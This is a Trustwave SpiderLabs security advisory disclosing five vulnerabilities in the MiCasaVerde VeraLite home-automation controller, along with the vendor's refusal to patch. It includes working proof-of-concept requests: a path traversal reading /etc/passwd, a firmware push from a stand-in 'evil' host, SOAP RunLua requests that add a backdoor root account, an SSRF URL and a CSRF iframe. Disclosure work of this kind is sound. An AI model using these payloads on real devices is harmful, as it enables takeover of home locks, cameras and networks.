Trustwave SpiderLabs Security Advisory TWSL2013-019: Multiple Vulnerabilities in MiCasaVerde VeraLite Published: 08/01/13 Version: 1.0 Vendor: MiCasaVerde (http://www.micasaverde.com/) Product: VeraLite Version affected: 1.5.408 Product description: The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product which centralizes control over home automation devices such as door locks, window blinds, security cameras, smoke detectors, HVAC systems, lights, etc. Finding 1: Path Traversal *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4861 CWE: CWE-23 The VeraLite has a path traversal vulnerability allowing for disclosure of arbitrary files. This allows an attacker to retrieve the contents of any file on the system such as the /etc/passwd file which contains the hashed root password as well as the tech support remote access password if remote access has been configured. A proof of concept can be run against a VeraLite by using the following URL: GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd On a newly unboxed VeraLite, this shouldn't work as the first part of the path used by the script doesn't exist, but the directory which must exist for exploitation to work correctly can be created by using the store_file.sh script, like so: GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test This attack can also be launched through the Internet-based control panel at cp.mios.com when logged in as either an admin or guest level account. Finding 2: Insufficient Authorization Checks *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4862 CWE: CWE-285 The VeraLite makes a distinction between Administrator and Guest users such that Guest users should not be able to make changes to the configuration of the system. There are several functionalities included in the VeraLite console available to Guest level users which can be used to escalate privileges. A) Firmware update - This allows a guest to push custom firmware to the unit and can allow for full compromise of the device. A proof of concept can be seen using the following URL: GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs B) Settings backup - This allows a guest to obtain copies of various sensitive files, including the lighttpd.users file which contains hashed cp.mios.com passwords, and the passwd file which contains the hashed root password. GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1 C) Test Luup code (Lua) - This allows a guest to run Lua code on the VeraLite as root. A backdoor account can be added with the following POST request: POST /port_49451/upnp/control/hag HTTP/1.1 Host: A.B.C.D Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: text/xml;charset=UTF-8 MIME-Version: 1.0 SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua" Content-Length: 311 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"> <DeviceNum></DeviceNum> <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code> </u:RunLua></s:Body></s:Envelope> Finding 3: Insufficient Authentication Checks *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4863 CWE: CWE-287 The VeraLite exposes UPnP functionality which allows for Lua code to be run as root from the LAN without authentication using the RunLua action in the HomeAutomationGateway service of the HomeAutomationGateway device. A backdoor account can be added with the following POST request to port 49451: POST /upnp/control/hag HTTP/1.1 Host: A.B.C.D:49451 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: text/xml;charset=UTF-8 MIME-Version: 1.0 SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua" Content-Length: 311 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"> <DeviceNum></DeviceNum> <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code> </u:RunLua></s:Body></s:Envelope> Finding 4: Server-Side Request Forgery *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4864 CWE: CWE-918 The VeraLite will make HTTP requests on behalf of a user using the /cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of trustwave.com is as follows: GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com This allows an attacker to bypass firewall controls, use the VeraLite as a proxy Finding 5: Cross-Site Request Forgery *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4865 CWE: CWE-352 The VeraLite does not implement any defense against cross-site request forgery. A proof of concept as seen below can cause a Vera user to update their firmware using a custom firmware URL: <html> <body> <iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1"> </iframe> </body> </html> If this PoC was embedded in any web page a targeted user visited, an attacker would be able to make arbitrary changes to the firmware on the device, allowing the potential for remote root access. Vendor Response: "...the "vulnerabilities" you referred to were deliberate design decisions because that's what the customers in this particular channel (ie Vera retail) want. As you can see we have an open forum to discuss this, and very people object to leaving Vera open. So we are not able to lock down the gateway, and effectively break the systems of many customers who rely on the open system to run their own scripts and plugins." Remediation Steps: No official patch is available. To limit exposure, network access to these devices should be limited to authorized personnel through the use of access control lists and proper network segmentation. Revision History: 04/23/13 - Vulnerability disclosed to vendor 06/04/13 - Vendor confirms they will not fix 08/01/13 - Advisory published References 1. http://www.micasaverde.com/ About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ________________________________ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.